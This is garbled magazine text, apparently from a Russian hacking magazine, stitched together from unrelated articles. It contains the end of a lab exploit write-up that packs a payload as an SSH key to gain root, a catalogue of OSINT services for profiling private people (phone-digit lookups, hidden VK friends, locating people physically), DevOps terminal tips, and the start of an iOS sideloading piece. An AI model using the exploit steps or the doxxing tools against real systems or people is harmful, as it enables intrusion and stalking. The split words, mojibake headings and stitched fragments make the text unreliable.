print(base64.b64encode(payload).decode())

Не забыва ем добавить кодиро вание в Base64.

Соз дание наг рузки

./authkeys 1 2 3 L2Jpb... 

Тест наг рузки

Наг рузка отлично отра баты вает, оста лось упа ковать ее как ключ SSH, так
как в токене  будет передан имен но он. Изме ним коман ду записи, ука зав
в ней реаль ный пуб личный ключ SSH и путь к фай лу 

. И добавим в код упа ков ку в ключ SSH вмес то стро ки
вывода :

%k
/root/.ssh/

authorized_keys
print(base64.b64encode(payload).decode())

   from Crypto.PublicKey.RSA import construct
 import binascii

  e = 65537
   n = int(binascii.hexlify(payload), 16)

 import os
    key = construct((n, e), consistency_check=False)

print(key.exportKey(format="OpenSSH"))

Ре зуль тат работы скрип та

Те перь выпол ним пер вое под клю чение с этим клю чом, что бы записать наш
пуб личный. Затем выпол ним вто рое под клю чение уже с нашим при ват ным
клю чом.

 ssh proxychains -q -i test_key root@192.168.23.1 
 ssh proxychains -q -i id_rsa root@192.168.23.1 

Флаг рута

Все прош ло глад ко. Машина зах вачена, и у нас есть над ней пол ный кон троль.

https://github.com/haad/proxychains
https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%B4%D0%B5_%D0%91%D1%80%D1%91%D0%B9%D0%BD%D0%B0
https://docs.pwntools.com/en/stable/
https://github.com/JonathanSalwan/ROPgadget
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ПРИВАТНОСТЬ

Скан далы, свя зан ные с утеч кой или про бивом дан ных, слу- 
чают ся регуляр но. И если под купать сот рудни ка бан ка, что бы
тот выдал нуж ную информа цию, однознач но зло, то
по откры тым для всех источни кам искать пока мож но. Сегод- 
ня мы рас смот рим пару десят ков сер висов, которые поз- 
воля ют соб рать информа цию о челове ке, не пла тя за это и (в
общем слу чае) не нарушая закон.

OSINT (Open Source INTelligence) — это раз ведка по откры тым источни кам, то
есть поиск информа ции о челове ке или орга низа ции по базам дан ных,
которые дос тупны всем. Этим занима ются как спе циаль ные орга низа ции
и служ бы, так и ком пании (что бы про верить сот рудни ков или узнать боль ше
о кон курен тах) и прос то люди, ког да хотят получ ше узнать, с кем они обща- 
ются в интерне те и не ока жет ся ли «сер цеед888» мань яком-убий цей.

Мы соб рали спи сок сер висов, которые помогут в этом. Упор сде лан
на сай ты, ори енти рован ные на РФ, пос коль ку в раз ных стра нах фор маты дан- 
ных отли чают ся и это зат рудня ет поиск.

WARNING

Не сан кци они рован ный сбор пер сональ ной
информа ции — это наруше ние закона «О пер- 
сональ ных дан ных» и дру гих законов РФ. Так же
подоб ные дей ствия могут обра зовать сос тав
прес тупле ния по статье 137 УК РФ «Наруше ние
неп рикос новен ности час тной жиз ни». Ни автор,
ни редак ция не несут ответс твен ности за любые
пос ледс твия исполь зования при веден ных в этой
пуб ликации све дений. Вся информа ция пред- 
став лена исклю читель но ради информи рова ния
читате ля.

На деем ся, эта под борка поз волит читате лю накопать мно го полез ной
информа ции, а воз можно, даже избе жать проб лем. Одна ко, если у тебя воз- 
никнут сом нения в закон ности тво их дей ствий, пом ни, что никог да не поз дно
прек ратить. В любом слу чае ты дей ству ешь на свой страх и риск.

ÏÎÈÑÊ ÏÎ EMAIL

 — авто мати чес кий поиск по email-адре су. Най дет,
к каким сай там при вязан адрес поч ты.
Emailsherlock.com

Про вер ка по нес коль ким поч там дала не так мно го резуль татов, как хотелось
бы. Поиск огра ничен толь ко самыми популяр ными сай тами (соц сети). Еще из
минусов – сайт по-чер ному пиарит сто рон ние сер висы, не все из которых
даже живы, но поч ти все про сят денег.

 находит, на каких сай тах зарегис три рова ны акка унты, исполь- 
зующие опре делен ную поч ту.

Emailrep.io

Про вер ка репута ции ящи ка

До пол нитель но на осно ве про вер ки по спам-базам, а так же базам вре донос- 
ной активнос ти сер вис про веря ет репута цию акка унта: в час тнос ти,
не попадал ся ли он в утеч ках.

Продолжение статьи →

http://www.emailsherlock.com/
http://emailrep.io/


OSINT ПО-РУССКИ
ВЫБИРАЕМ МОЩНЫЕ И БЕСПЛАТНЫЕ

СЕРВИСЫ ДЛЯ ПРОБИВА И КОНКУРЕНТНОЙ
РАЗВЕДКИ

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

ÏÎÈÑÊ ÏÎ ÍÈÊÍÅÉÌÓ

Час то поиск по email не дает мно го резуль татов. В таких слу чаях сто ит поис-
кать по ник ней му (часть до ) — обыч но информа ции ста новит ся в разы боль- 
ше.

@

 — это не прос то сер вис, а целый ком байн, который ищет
по 280 сер висам!

WhatsMyName

WhatsMyName

Здесь мож но сор тировать сер висы по катего риям, а еще есть воз можность
экспор тировать резуль тат поис ка (URL най ден ных про филей) в нес коль ких
фор матах.

Сер вис  пре дос тавля ет поиск не толь ко по популяр ным
соц сетям, но и по темати чес ким форумам и сай там зна комств.

Usersearch.org

USERSEARCH.ORG

Вы дача удоб на тем, что ты не толь ко получа ешь спи сок сер висов со ссыл кой
на акка унт, но и для каж дого сер виса есть ссыл ка на стра ницу уда ления акка- 
унта, на слу чай, если это вдруг твой акка унт. Так же сер вис может допол- 
нитель но искать по телефо ну, email и про бивать по базе .HIBP

 — пос тоян но обновля емая и обширная база сер висов с удоб ной
выдачей. Вре мя про вер ки — где-то одна-две минуты. Минус — деления
на катего рии нет.

SuIP.biz

suIP.biz

По завер шении поис ка мож но ска чать отчет в фор мате PDF.
 — сер вис с быс трой про вер кой по популяр- 

ным и не очень сер висам. У него в базе встре чают ся инте рес ные темати чес- 
кие сай ты, вро де MyAnimeList и Last.fm.

Instant Username Search

InstantUsernameSearch

 ищет по неболь шому спис ку сай тов, а кро ме того, поз воля ет про- 
верять занятость домен ного име ни.
Checkuser

На сам поиск ухо дит при мер но минута. Еди ный спи сок ссы лок из резуль татов
получить нель зя.

 исполь зует обширный спи сок сер висов для про вер ки,
которая, кста ти, не занима ет мно го вре мени.

Namechekup

По лучить все ссыл ки разом здесь тоже нель зя.
Спи сок веб-сер висов у  неболь шой, но и про вер ка очень

быс трая. Сами сер висы по боль шей час ти популяр ные и не очень соц сети.
Про веря ет и некото рые домены.

Namecheckr

От дель но сущес тву ет сер вис-двой ник под незамыс ловатым наз вани ем
. Он про верят упо мина ние кон крет ного юзер ней ма по десят кам

сай тов. К тому же у сер виса есть свой API, что бы мож но было вызывать
из скрип тов.

Namech_k

Namech_k

В репози тории нашего сооте чес твен ника (и авто ра ) 
есть боль шой спи сок про верок, которые могут быть полез ны
для интернет-розыс ка, и сер висов поис ка по ник ней му — спа сибо ему! Здесь
соб раны такие ути литы, как , , , 
и , каж дая из которых зареко мен довала себя как неп лохой инс тру- 
мент для поис ка и сбо ра откры тых дан ных.

статьи в «Хакере» Soxoj

Sherlock Maigret Snoop sherlock-go

Investigo

Чек-лист Soxoj

От дель но хотелось бы выделить и упо мянуть ути литу .Maigret

Maigret

Она поз воля ет собирать досье на челове ка по име ни поль зовате ля, про веряя
наличие учет ных записей на огромном количес тве сай тов (более 2300)
и собирая всю информа цию с дос тупных стра ниц. Не исполь зует никаких клю- 
чей API. Это, кста ти, форк дру гой OSINT-ути литы — . Обра ти вни- 
мание, что по умол чанию поиск запус кает ся не по всем сай там, а толь ко
по 500 самых популяр ных.

Sherlock

INFO

Чи тай так же: «

», «
»

Про бей меня пол ностью! Кто, как и
за сколь ко про бива ет пер сональ ные дан ные
в Рос сии Бо ты ата куют. Тес тиру ем телег- 
рам-боты для поис ка пер сональ ных дан ных
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ÏÎÈÑÊ ÏÎ ÍÎÌÅÐÓ ÒÅËÅÔÎÍÀ

 — весь ма объ емный телефон ный спра воч ник, который
может искать так же по ФИО.
SpravkaRU.Net

К сожале нию, домаш ними телефо нами уже мало кто поль зует ся, а телефон- 
ные спра воч ники по боль шей час ти ори енти рова ны имен но на них. Поэто му
объ емы информа ции не такие уж впе чат ляющие.

Microsoft поз воля ет про верять при вяз ку номера к акка унту на сай те
. Этим мож но поль зовать ся!account.live.com

 собира ет дан ные со стра ниц вос ста нов ления акка унта
во мно жес тве сер висов и находит номер телефо на.
Email2phonenumber

По мимо это го, ути лита может генери ровать спи сок номеров и переби рать
сер висы на наличие номера телефо на (где он ука зан в про филе).

Бот  най дет пос ледние четыре циф ры номера телефо на кли- 
ента Сбер банка.

last4mailbot

last4mailbot

По иск про изво дит ся исклю читель но по email. Про вер ка нес коль ких почт,
заведо мо при вязан ных к Сбер банку, показа ла, что бот дей стви тель но выда ет
вер ные дан ные.

ÏÎÈÑÊ ÏÎ ÔÈÎ

 уме ет  прис матри вать за акка унтом ВК. Пос ле добав- 
ления в базу сай та ссыл ки на про филь тот будет отсле живать дос тупные ава- 
тар ки, лай ки, ком мента рии, дру зей, груп пы и про чее.

Vk-express сле дить

Так же ищет скры тых дру зей и ком мента рии поль зовате ля.
 дол жен искать час тные фото акка унта, но база сай та весь- 

ма мала, хоть там порой и попада ются инте рес ные матери алы, вро де фоток
с дру гими лич ностя ми или в мес тах, информа ция о которых пред став ляет
инте рес. Вдруг штат ный сот рудник ФСБ спа лит фот ку с мес та работы?

Vk-photo.xyz

 — нем ного подоз ритель ный, но впол не рабочий сбор щик ста- 
тис тики активнос ти поль зовате ля VK. Интерфейс подоз ритель но похож на vk-
express. Показы вает ста тис тику вхо дов, с какого устрой ства заходи ли, дру зей,
ком мента рии, а под нас тро ение может показать и груп пы поль зовате ля.
Бонусом вывалит скры тых дру зей иско мого ано ниму са.

Vk5.city4me

 — сер вис чис то ана лити чес кий. По завере ниям авто ра (и моему
неболь шому опы ту), он опре делит сред ний воз раст дру зей, некото рых скры- 
тых дру зей, их города, дату регис тра ции про филя и про чие инте рес ные,
но обыч но бес полез ные показа тели.

220vk

Еще он показы вает дру зей, которые скры ли иско мый про филь у себя, то есть
по каким-то при чинам скры вают свою связь с задан ным акка унтом.

Сер вис может искать лай ки и ком мента рии поль зовате ля, что помога ет
искать связь меж ду акка унта ми и реаль ными людь ми. А пос ле уста нов ления
такой свя зи челове ка мож но най ти физичес ки.

, быва ет, выда ет информа цию про филя нес коль ко лет
назад. Иног да полез но.

« »Òóò íàé äóò

Плав но перехо дим к поис ку по зарубеж ным сер висам: если нуж но най ти про- 
филь челове ка в Facebook, Instagram и Twitter по име ни и фамилии, то подой- 
дет . Он успешно ищет по объ емно му спис ку раз ных сер висов. Сра- 
зу пред лага ет воз можные поч товые адре са по ник ней му и про веря ет их тоже.
Допол нитель но выда ет людей с похожим име нем и их адре са.

PeekYou
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ÀÍÀËÈÇ ÀÊÊÀÓÍÒÎÂ Â ÇÀÐÓÁÅÆÍÛÕ ÑÅÐÂÈÑÀÕ

, как понят но из наз вания, ана лизи рует пуб личные
дан ные акка унта на Reddit. Показы вает дату регис тра ции, количес тво ком- 
ментов, кар му, саб редди ты, а так же стро ит гра фики активнос ти и показы вает
луч ший и худ ший ком мент.

Reddit-user-analyser

Сер вис  соберет пол ное досье на акка унт Reddit.
В него вхо дят саб редди ты, в которых активни чал юзер, его вре мя регис тра- 
ции, гра фик активнос ти (поз воля ет опре делить мес тополо жение), куча гра- 
фиков и пред положе ния на осно ве информа ции, соб ранной в акка унте.

redditinvestigator.com

 — это прод винутый инс тру мент для ана лиза акка унтов Twitter, который
обхо дит ся без исполь зования офи циаль ного API. В отли чие от перечис- 
ленных веб-сер висов, работа ет локаль но и тре бует уста нов ки. Он собира ет
общую информа цию акка унта, тви ты, отно сящи еся к опре делен ным темам,
хеш теги; находит кон фиден циаль ную информа цию из тви тов, такую как элек- 
трон ная поч та и номера телефо нов.

Twint

Даш борд Twint

 прос то находит пос ты в Facebook. Поз воля ет быс тро
най ти пуб личное твор чес тво задан ной лич ности.
Whopostedwhat.com

На сай те есть фор ма для получе ния ID юзе ра по ссыл ке на его про филь,
а потом по это му ID мож но искать в ком мента риях (гло баль но) и его собс- 
твен ным пос там. Сер вис может искать по кон крет ной дате или диапа зону дат,
уме ет и по клю чевым фра зам. Поз воля ет даже поиск по мес там, но как им
поль зовать ся — я не разоб рался.

Новости HIBP
Как мы уже , агре гатор уте чек  уже добавил гран- 
диоз ный слив акка унтов Facebook в свою базу. К сожале нию, искать мож но
было толь ко по адре су элек трон ной поч ты, а в утеч ке он был ука зан все го
в 2,5 мил лиона записей из 533 мил лионов.

пи сали Have I Been Pwned

С момен та написа ния той новос ти ситу ация нем ного изме нилась, и теперь
искать мож но в том чис ле и по номеру телефо на.

ÏÎÈÑÊ ÏÎ ÏÀÑÏÎÐÒÓ

У Глав ного управле ния по воп росам миг рации МВД есть , на котором
мож но про верить, дей стви тель ный ли перед тобой пас порт. База обновля- 
ется каж дый день и будет край не полез на все воз можным кад ровикам.

ñåð âèñ

ÏÎÈÑÊ ÞÐËÈÖ

Сю да вхо дят сер висы про вер ки юри дичес ких лиц на задол женнос ти, регис- 
тра цию ком пании и про чего.

 в Telegram най дет все дос тупное в ЕГРЮЛ (Еди ный государс- 
твен ный реестр юри дичес ких лиц) о рос сий ских ком пани ях и инди виду аль ных
пред при нима телях.

Egrulbot

 ищет по УНП и наз ванию орга низа ции. Выда ет ста тус, УНП,
даты регис тра ции и адрес.
vKarmanebot

ÏÎÈÑÊ ÀÂÒÎÌÎÁÈËÅÉ

Сю да вхо дят сер висы, при помощи которых мож но узнать информа цию
о регис тра ции авто, рас шифров ку номера VIN, стра хова ние, исто рию ДТП,
про бег и про чее. Будет полез но при покуп ке авто моби ля, а еще поможет
выяс нить, что за козел чуть не сбил тебя вче ра на пешеход ном перехо де.

Сайт  ищет по гос номеру или VIN и показы вает исто рию регис тра-
ций, ДТП, про бег, ОСА ГО и мно гое дру гое.

VIN01

Сайт  дела ет про вер ку ПТС и тот же поиск по VIN.vinformer
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ÊÎÌÏÜÞÒÅÐÍÀß ÐÀÇÂÅÄÊÀ

Сер висы и ути литы, соз данные для ана лиза таких дан ных, как IP, SSID,
метадан ные фай лов, DNS-записи, и все го, где объ ектом ана лиза выс тупа ет
эле мент IT-струк туры, будь то сайт или IP-адрес.

Ин терес ный вари ант — это ком байн под наз вани ем . Вот непол- 
ный спи сок его воз можнос тей:

Xinit.ru

про вер ка домена или IP-адре са по whois;•
по луче ние сним ков из Google-кеша и дан ных из веб-архи ва;•
сер висы и про токо лы на сер вере;•
HTTP-заголов ки отве та;•
ссыл ки со стра ниц сай та на хос те;•
email-адре са домена;•
про вер ка сай та на virustotal.com;•
по каз реаль ного IP-адре са за Cloudare;•
DNS-инфраструк тура сай та.•

 про веря ет, кому выдан TLS-сер тификат и какие IP-адре са свя заны
с сай том, а так же опре деля ет стек тех нологий на сай те.
Urlscan.io

 может показать SSID и BSSID хот спо тов Wi-Fi на кар те, так же поз воля ет
искать по ним.
Wigle

 отли чает ся тем, что ищет по исходно му коду стра ниц. Находит
ник ней мы, упо мина ния в коде, сопос тавля ет знач ки сай тов, что поз воля ет
искать двой ники; находит любые схо жие упо мина ния иден тифика торов
или фраз, кошель ков, токенов, поз воля ет так же находить пос тавщи ков рек- 
ламных вид жетов и мно гое дру гое в таком духе.

PublicWWW

При мер поис ка сай та «Хакера»

При помощи  мож но уви деть все метадан ные фай ла.Metadata2Go

 извле кает EXIF из фотог рафий и кар- 
тинок.
Jeffrey’s Image Metadata Viewer

 дает воз можность извле кать и изме нять метадан ные PDF — нап- 
ример, наз вание, авто ров и дату соз дания.
PDFCandy

 ищет домен ные име на для набора IP-адре сов. Это полез но, ког- 
да нуж но быс тро про вес ти раз ведку в целевой под сети. На The Standoff
2021 это очень при гож далось моей коман де!

HostHunter

HostHunter

Сер вис весь ма удо бен при обра бот ке боль ших спис ков IP-адре сов. Есть воз- 
можность экспор та резуль татов в CSV или обыч ный тек сто вый файл.

 при помощи брут форса переби рает суб домены
на целевом домене и может генери ровать выход ной файл с резуль татами.

Knock Subdomain Scan

ÈÒÎÃÈ

«Ищи те, и обря щете», — гла сит древ няя муд рость. Если что-то хоть раз
попало в интернет — оно оста нет ся там нав сегда. Воп рос толь ко в том,
какими уси лиями получит ся это най ти.

Се год ня мы рас смот рели полез ные сер висы в пер вую оче редь с упо ром
на дос тупность (читай: бес плат ность). Конеч но, мы мог ли незас лужен но упус- 
тить что-то важ ное, но не суди стро го — ком мента рии находят ся вни зу, и там
мож но допол нить эту статью чем-нибудь полез ным.

https://xinit.ru/whois/
http://urlscan.io/
https://wigle.net/
http://publicwww.com/
https://www.get-metadata.com/
https://exif.regex.info/
https://pdfcandy.com/edit-pdf-meta.html
https://github.com/SpiderLabs/HostHunter
https://github.com/guelfoweb/knock
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ТРЮКИ

У всех нас есть лай фха ки и инс тру мен ты,
уско ряющие работу с опре делен ными
задача ми и сис темами. У девоп сов и адми- 
нис тра торов обла ков таких инс тру мен тов
дол жно быть едва ли не боль ше всех,
потому что сер висов, с которы ми
работать, — мно го, а тер минал один.
В этой статье я делюсь сво им опы том
работы с облачны ми сис темами и решени- 
ем мел ких задач, которые воз ника ют каж- 
дый день.

ZSH

Нач нем с самого час то исполь зуемо го инс тру мен та — интер пре тато ра
коман дной стро ки. Я исполь зую zsh — из-за пла гинов, тем и воз можнос тей
авто допол нения. Авто допол нение из исто рии силь но сок раща ет вре мя
набора команд, а пла гины еще боль ше рас ширя ют авто допол нение, обес- 
печива ют под свет ку син такси са, добав ляют полез ные али асы.

Два наибо лее полез ных пла гина:
git — отоб ража ет вет ки/ком миты/репози тории. Наг лядно вид но, в каком
репози тории находишь ся, ини циали зиро ван ли он, какая вет ка, ком мит,
син хро низи рова но ли с уда лен ным репози тори ем и про чее;

•

zsh-syntax-highlighting — под свет ка син такси са в кон соли. Удоб но
при написа нии и отладке скрип тов.

•

Под свет ка веток в Git

Так же рекомен дую уста новить пла гины для каж доднев но исполь зуемых инс- 
тру мен тов: AWS, Docker, brew, knife, node, encode64, kubectl, osx, Python, pip.
Прак тичес ки все добав ляют под сказ ки по табу, что уже очень полез но,
некото рые по это му же табу сту чат ся в API сер висов и пред лага ют рас ширен- 
ное авто допол нение, а не толь ко воз можные коман ды.

Пла гины AWS и kubectl дела ют еще одну важ ную вещь — всег да показы- 
вают кон текст/про филь, в котором работа ешь, и силь но сни жают шан сы оши- 
бить ся и вки нуть какую-нибудь опас ную коман ду не в тот тер минал. Плюс,
к при меру, рас ширение для ама зона уме ет счи тывать наз начен ные про филям
цве та, и, если будешь работать в про де, мож но под кра сить про филь
ярко-крас ным, что бы точ но понимать, где выпол няет ся коман да.

Под свет ка про филя AWS

Под свет ка про филя kubectl

Хо рошая тема: powerlevel10k, гиб кая, кра сивая, информа тив ная, мож но нас- 
тро ить по вку су очень мно го вещей. Осо бен но удо бен сквош исполнен ных
команд пос ле выпол нения, что бы не засорять экран.

Пла гины, как и темы, уста новить доволь но прос то. Если замора чивать ся —
для это го есть пла гин/пакет-менед жеры для zsh вро де  или . Но в
целом уста нов ка сво дит ся к  и запус ку скрип та, который сам все
нас тро ит. Для поис ка пла гинов луч ше все го исполь зовать под борки на GitHub
вро де .

antigen Zinit
git clone

awesome-zsh-plugins

SCREEN È TMUX

 — это эму лятор (а точ нее, муль тип лексор) тер миналь ных сес сий
VT100. Но обыч но его исполь зуют как спо соб безопас но выпол нить коман ды
через SSH на слу чай пре рыва ния соеди нения.

Screen

К при меру, ты запус каешь «дол гоиг рающую» коман ду вро де 
 и в этот момент соеди нение с сер вером обры вает ся. В ито ге дочер- 

ний про цесс apt-get-сес сии SSH уми рает и про цесс обновле ния пакетов
оста нав лива ется. Что бы это го не про изош ло, прос то запус ти screen и уже
в нем запус кай все нуж ные коман ды. Теперь, если соеди нение обор вется,
родитель ский про цесс screen оста нет ся жив и не толь ко поз волит коман де
кор рек тно завер шить ся, но и поз волит заново под клю чить ся к сущес тву ющей
сес сии, при чем неваж но, с какого устрой ства.

apt-get 
upgrade

Screen поз воля ет запус кать мно жес тво тер миналов в рам ках одной SSH-
сес сии

У Screen есть более сов ремен ная аль тер натива под наз вани ем . Ее раз- 
работа ли пар ни из OpenBSD, и в целом она отли чает ся более высокой про- 
изво дитель ностью и наличи ем раз личных сов ремен ных плю шек, вро де под- 
дер жки пла гинов. Сра зу рекомен дую уста новить пла гин tmux-resurrect, поз- 
воля ющий сох ранить текущий набор откры тых в tmux тер миналов в файл
и вос ста новить его, ког да понадо бит ся выпол нить схо жую задачу.

tmux

JQ

Вза имо дей ствие с вебом и облачны ми инфраструк турами по боль шей час ти
идет в фор мате JSON. Kubectl и мно гие дру гие инс тру мен ты так же уме ют
выводить дан ные в JSON. Поэто му нам нужен JSON-про цес сор, и луч ший
из них — это . Очень удоб ный инс тру мент с раз витым син такси сом и дос- 
таточ ной гиб костью, что бы писать слож ные вло жен ные зап росы и усло вия.

jq

В  мож но най ти пол ную докумен тацию с хороши ми при мера ми
исполь зования, да и в целом инс тру мент нас толь ко популя рен, что при меры
есть прак тичес ки для любой задачи. Далее нес коль ко при меров работы
с Kubernetes.

man json

Пос мотреть выс тавлен ные перемен ные окру жения в кон тей нерах:

 $ kubectl get pods --all-namespaces -o json | jq '.items[].spec.
containers[].env[]?'

По иск пов режден ных деп лой мен тов:

$ kubectl get --raw=/apis/apps/v1/deployments | jq '.items[] | {
name: .metadata.name, replicas: .status.replicas, available: (.
status.availableReplicas // 0), unavailable: (.status.
unavailableReplicas // 0)} | select (.unavailable > 0)'

Быс тро пос мотреть, какие обра зы дос тупны на нодах (час то помога ет
при проб леме с кеширо вани ем и ска чива нием обра зов новых вер сий):

$ kubectl get nodes -o json | jq '.items[] | .status .images[]'`

Схо же с пре дыду щей, вари ант быс тро го прос мотра дос тупных ресур сов
на нодах, удоб но поль зовать ся в связ ке со скрип тами:

$ kubectl get nodes -o json | jq '.items[] | .status .allocatable'

K9S È K8S LENS

 — кон соль ный менед жер для Kubernetes. Лег кий, быс трый, под держи вает
все спо собы авто риза ции в кубере, вклю чая SSO и aws-iam-auth. Поз воля ет
быс тро и наг лядно переме щать ся по клас теру, редак тировать манифес ты
и ресур сы, заходить в кон тей неры, смот реть заг рузку ресур сов.

K9s

Из минусов — нет «вкла док», а соот ветс твен но, воз вра та к откры тым
ресур сам. Но в любом слу чае работать с клас тером через  ощу тимо удоб- 
нее, чем через kubectl, даже если написать для пос ледне го мно го али асов.

K9s

Отоб ражение подов в K9s

Про вер ка манифес тов ресур са в K9s

 — отдель ное дес ктоп ное при ложе ние (на самом деле написан ное
на элек тро не). Показы вает клас тер в еще более кра сивом виде. По воз- 
можнос тям при мер но равен K9s. Из минусов — не все методы авто риза ции
под держи вают ся. Есть доволь но боль шая биб лиоте ка пла гинов.

K8s lens

Об щий вид K8s lens

VAGRANT

 — ощу тимо потеряв ший в популяр ности, но все еще час то полез ный
инс тру мент управле ния вир туаль ными машина ми. Основное дос тоинс тво
Vagrant — удоб ная и лег кая (в пла не кон фигура ции) оркес тра ция вир туаль ных
машин, поз воля ющая соз давать уни вер саль ные тес товые сре ды для любых
целей.

Vagrant

К при меру, что бы нас тро ить обра зы вир туаль ных машин на эта пе сбор ки, я
исполь зую Ansible. Но каж дый раз для тес товых про гонов под клю чать ся к сер- 
верам, будь то облачные или локаль ные Hyper-V/VMware/QEMU, может быть
проб лематич но, слож но и зат ратно по вре мени. Луч ше написать прос тую кон- 
фигура цию для Vagrant, который по  будет про гонять запуск плей- 
бука Ansible на локаль ном VirtualBox. Это нам ного быс трее и про ще, чем
с исполь зовани ем уда лен ного сер вера.

vagrant up

При мер тес тового кон фига с Ansible-provisioner:

. ( )  | | Vagrant configure "2" do config
   . .  = config vm box "bento/ubuntu-18.04"

   . .    | | config vm provider "virtualbox" do vtx
.  =        vtx cpus "4"
.  =        vtx memory "4096"

   end

   . .    | | config vm provision "ansible" do ansible
.  =        ansible playbook "/home/alex/work/${PROJECT}/playbook.yaml"
.  =        ansible extra_vars "testing_vars.yml"
. =       ansible vault_password_file "testing_password.txt"

   end
end

PACKER

Для ито говой сбор ки обра зов вир туаль ных машин я исполь зую .
Это часть сте ка Hashicorp (тех же ребят, кто написал Vagrant), поэто му кон- 
фигура ция для запус ка Ansible схо жа и очень лег ко перено сит ся из Vagrant
в Packer.

Packer

Так же как и в Vagrant, исполь зуя Ansible-provisioner, запус каем такую же
кон фигура цию в про цес се сбор ки AMI:

 { build
    = [ sources
       "source.aws.ami_example"
   ] 
     { provisioner "ansible"

 =      playbook_file "/home/alex/work/${PROJECT}/playbook.yaml"
 = [      extra_arguments

,          "--extra-vars=prod_vars.yml"
         "--vault-password-file=testing_password.txt"
     ] 
   } 
} 

SUPERVISORD

В про дак шене каж дый кон тей нер дол жен быть ответс твен ным за выпол нение
толь ко одно го про цес са (это пра вило хороше го тона). Для тес тов же час то,
помимо основно го про цес са (нап ример, бэкен да какого-то при ложе ния),
тре бует ся запус тить еще и реверс-прок си, базу или какой-то допол нитель ный
про цесс для монито рин га и тес тов.

Как раз здесь и при годит ся . Он будет запус кать и монито рить
нес коль ко про цес сов, а его кон фиг про ще, чем допол нитель ный докер файл,
и быс трее, чем сбор ка двух-трех обра зов. Разуме ется, в про дак шене такое
луч ше не исполь зовать, так как это идет враз рез с основной кон цепци ей
докера.

Supervisord

Сам кон фиг супер визора для тес тирова ния работы прок си к бэкен ду выг- 
лядит при мер но так:

[supervisord]
loglevel=info
pidfile=/tmp/supervisord.pid
user=root

[rpcinterface:supervisor]
  supervisor.rpcinterface_factory = supervisor.rpcinterface:

make_main_rpcinterface

[supervisorctl]
serverurl=unix:///dev/shm/supervisor.sock

[program:backend]
  command = /bin/python /app/backend/main.py

autostart=true
autorestart=true
stdout_events_enabled=true
stderr_events_enabled=true
stdout_logfile=/dev/stdout
stderr_logfile=/dev/stderr
stopsignal=QUIT

[program:nginx]
command=/usr/sbin/nginx -g "daemon off; error_log /dev/stdout debug;"
autostart=true
stdout_events_enabled=true
stderr_events_enabled=true
stdout_logfile=/dev/stdout
stderr_logfile=/dev/stdout
stopsignal=QUIT

И сам докер файл с точ кой вхо да под супер визор:

 - :FROM base image latest
 ./  / /COPY nginx etc nginx

 [ ] ENTRYPOINT "/usr/bin/supervisord"
 [ , , ] CMD "-n" "-c" "/etc/supervisord.conf"

ËÎÃÈÍÛ È ÏÀÐÎËÈ

Воз можно, ты уже исполь зуешь менед жеры паролей вро де LastPass, KeePass,
1Password или Dashlane. Может быть, в тво ей орга низа ции они исполь зуют ся
на кор поратив ном уров не. Но ты мог не знать, что у всех этих менед жеров
есть чер тов ски удоб ные кон соль ные вер сии.

С их помощью мож но сде лать врап перы для авто риза ции в облачных сис- 
темах, быс тро под став лять токены в curl или даже встро ить это как сорс сек- 
ретов в пай плай ны вмес то исполь зования сис темы вро де Hashicorp Vault.

Ко рот кий али ас, поз воля ющий получить по име ни хра нили ща и клю чу нуж- 
ное зна чение. К при меру, :op-value Engineering console-pass

  v   alias op-value=function(){op list items --vault $1 | jq --arg $2 -r
'.[] | select(.overview.title | contains($v)) | .uuid'}

Быс трый прос мотр и поиск нуж ного айте ма, сра зу мож но копиро вать UUID,
что бы получить нуж ное зна чение:

  alias op-list-items=function(){op list items --vault $1 | jq -r '.[] 
| .uuid, .overview.title' | less 

В качес тве аль тер нативы мож но исполь зовать прос тей ший кон соль ный
менед жер паролей , который работа ет пол ностью локаль но (с воз- 
можностью хра нения в Git). Его хра нили ще удоб но переб расывать в слу чае
необ ходимос ти, так как оно пред став ляет собой набор фай лов, зашиф рован- 
ных с помощью GPG.

pass

Бонус
Мел ким бонусом — , визу аль ный динами чес кий поиск по наз вани ям фай- 
лов и путей в катало гах. Отда ет в кон соль пол ный путь до фай ла, так что удоб- 
но исполь зовать в связ ке с али асом . В ито ге
получа ется инс тру мент для быс тро го редак тирова ния фай лов в текущей
дирек тории без запус ка тяжелых блок нотов.

fzf

alias vzf='vim $(fzf)'

ÂÛÂÎÄÛ

Для каж дой задачи, рутин ной или не очень, мож но най ти свое решение
и внед рить его в пов седнев ное исполь зование. Так, пла гины для zsh ста- 
новят ся ежед невны ми помощ никами, Vagrant и Supervisord помога ют эко- 
номить вре мя на запус ках тес тов, а менед жеры паролей, нес мотря на свою
поль зователь скую при роду, отлично интегри руют ся в облачную инфраструк- 
туру. Глав ное в любой рутин ной задаче — что бы в сле дующий раз ее мож но
было сде лать быс трее.

mailto:alex.shulyak.v@gmail.com
https://github.com/zsh-users/antigen
https://github.com/zdharma/zinit
https://github.com/unixorn/awesome-zsh-plugins
https://www.gnu.org/software/screen/
https://github.com/tmux/tmux
https://stedolan.github.io/jq/
https://github.com/derailed/k9s
https://k8slens.dev/
https://www.vagrantup.com/
https://www.packer.io/
http://supervisord.org/
https://www.passwordstore.org/
https://github.com/junegunn/fzf
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ТРЮКИ

Эко сис тему Apple недаром называ ют «ого рожен ным садом»:
ком пания жес тко кон тро лиру ет, что поль зователь может,
а чего не может делать со сво ими устрой ства ми. В слу чае
с iOS и iPadOS этот кон троль дос тига ет абсур дных мас шта- 
бов, ког да закон ный вла делец устрой ства теря ет воз- 
можность уста нав ливать при ложе ния в обход модери руемо- 
го и цен зуриру емо го магази на при ложе ний. В этой статье
мы рас смот рим спо собы сня тия это го огра ниче ния,
от самых прос тых, «в один клик», до слож ных, но надеж ных.

ÏÎ×ÅÌÓ ÍÅËÜÇß ÏÐÎÑÒÎ ÓÑÒÀÍÎÂÈÒÜ ÏÐÈËÎÆÅÍÈÅ

На сов ремен ных мобиль ных плат формах мож но запус кать толь ко код, под- 
писан ный циф ровой под писью. Но если в Android мож но залить пакет при- 
ложе ния, под писан ный обыч ным циф ровым сер тифика том, то в iOS ситу ация
слож нее: пакет под писыва ется в момент уста нов ки, а уни каль ная для каж дого
устрой ства циф ровая под пись раз реша ет запус кать его лишь на том устрой- 
стве, для которо го она была соз дана.

До бавим сюда тот факт, что циф ровые под писи в одно лицо выда ет (а
